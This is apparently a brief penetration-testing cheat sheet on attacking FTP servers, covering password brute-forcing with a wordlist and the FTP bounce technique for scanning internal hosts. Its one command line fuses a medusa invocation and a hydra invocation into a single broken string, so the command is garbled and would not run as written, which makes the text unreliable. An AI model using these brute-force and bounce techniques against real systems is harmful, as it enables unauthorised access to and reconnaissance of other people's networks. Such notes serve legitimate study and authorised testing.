Attacking FTP
Brute-Forcing FTP Login (If Anonymous Access is Disabled)
If anonymous login is not allowed, we can try brute-forcing the FTP password using Medusa.
medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 192.168.2.142 -M ftphydra -L users.list -P passwords.list <ftp://10.129.6.59> -s 2121 -t 10
FTP Bounce Attack (Pivoting Through FTP)
Some FTP servers allow FTP Bounce, meaning we can use them as a proxy to scan other devices inside a network.
The FTP Bounce Attack uses an FTP server to secretly scan or hit another device on the same network. You trick the server with the "PORT" command to connect to the hidden device and get info, like open ports. It works if the server’s settings are off, but modern ones usually block it.
